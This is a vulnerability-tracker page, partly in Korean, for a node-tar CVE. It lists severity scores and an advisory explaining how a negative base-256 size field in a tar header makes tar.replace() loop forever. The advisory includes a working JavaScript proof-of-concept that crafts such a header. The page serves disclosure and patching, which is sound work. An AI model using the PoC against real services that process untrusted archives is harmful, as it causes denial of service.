Kestrel
대시보드로 돌아가기
CVE-2026-59874HIGH· 7.5MITRENVDGHSA대응게시일: 2026. 07. 08.수정일: 2026. 07. 20.

node-tar: Negative tar entry size causes infinite loop in archive replace

DoS

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음
CVSS
7.5high

이론적 심각도 점수

EPSS
0.4%상위 65.7%

30일 내 악용 확률 예측

KEV
미등재

실측 악용 기록 없음

권장 대응 기한14일 이내CISA SSVC 기준

2주 이내 패치 — 우선 조치 대상

자동화 가능외부 노출· KEV 미등재 · 자동화 가능 · 부분 영향 · 외부 노출

CVSS 벡터 · 메트릭

악용 경로
공격 벡터네트워크
공격 복잡도낮음
필요 권한불필요
사용자 상호작용불필요
범위불변
영향
기밀성 영향없음
무결성 영향없음
가용성 영향높음
버전별 점수
CVSS 3.17.5HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

상세 설명

Summary

A checksum-valid tar archive with a negative base-256 encoded entry size can make tar.replace() loop forever while scanning the existing archive. Applications that update attacker-controlled tar archives can have a worker process pinned indefinitely, causing denial of service.

Details

The public tar.replace() API scans the existing archive before appending replacement entries. During this scan, it parses each tar header and advances the archive position by the parsed entry size rounded to a 512-byte block boundary.

Tar supports base-256 encoded numeric fields. A crafted header can encode the entry size as -512 while still carrying a valid checksum. The replace scan accepts that parsed negative size and uses it in the position-advance calculation.

For a size of -512, the computed body skip is -512. The scan then adds the normal 512-byte header step, resulting in no net progress. The scanner repeatedly parses the same header forever and never reaches the append step.

This is reachable through the supported package API when the existing archive file is attacker controlled. It does not rely on extraction, dependency behavior, or an uncaught exception.

PoC

Save as poc.mjs in a project with the vulnerable package installed and run:

text
1node poc.mjs
python
1import fs from 'node:fs'
2import os from 'node:os'
3import path from 'node:path'
4import { spawnSync } from 'node:child_process'
5
6const oct = (b, n, off, len) =>
7 b.write(n.toString(8).padStart(len - 1, '0') + '\0', off, len, 'ascii')
8
9const badHeader = () => {
10 const h = Buffer.alloc(512)
11
12 h.write('x', 0)
13 oct(h, 0o644, 100, 8)
14 oct(h, 0, 108, 8)
15 oct(h, 0, 116, 8)
16
17 // base-256 encoded -512 in the size field
18 Buffer.alloc(10, 0xff).copy(h, 124)
19 h[134] = 0xfe
20 h[135] = 0x00
21
22 oct(h, 0, 136, 12)
23 h.fill(0x20, 148, 156)
24 h[156] = 0x30
25 h.write('ustar\0' + '00', 257, 8, 'binary')
26
27 let sum = 0
28 for (const c of h) sum += c
29 h.write(sum.toString(8).padStart(6, '0') + '\0 ', 148, 8, 'ascii')
30
31 return h
32}
33
34const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'tar-loop-'))
35const file = path.join(dir, 'poc.tar')
36
37fs.writeFileSync(file, badHeader())
38fs.writeFileSync(path.join(dir, 'add.txt'), 'x')
39
40const r = spawnSync(
41 process.execPath,
42 [
43 '--input-type=module',
44 '-e',
45 `
46 import * as tar from 'tar'
47 tar.replace({ file: ${JSON.stringify(file)}, cwd: ${JSON.stringify(dir)}, sync: true }, ['add.txt'])
48 console.log('completed')
49 `,
50 ],
51 { timeout: 20_000 }
52)
53
54console.log(r.error?.code === 'ETIMEDOUT')
55
56// Output: true

Impact

An application that calls tar.replace() on an existing archive supplied or controlled by an attacker can be forced into a non-terminating archive scan. This can consume a worker process indefinitely and cause denial of service. Plain extraction-only workflows are not affected by this finding.

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.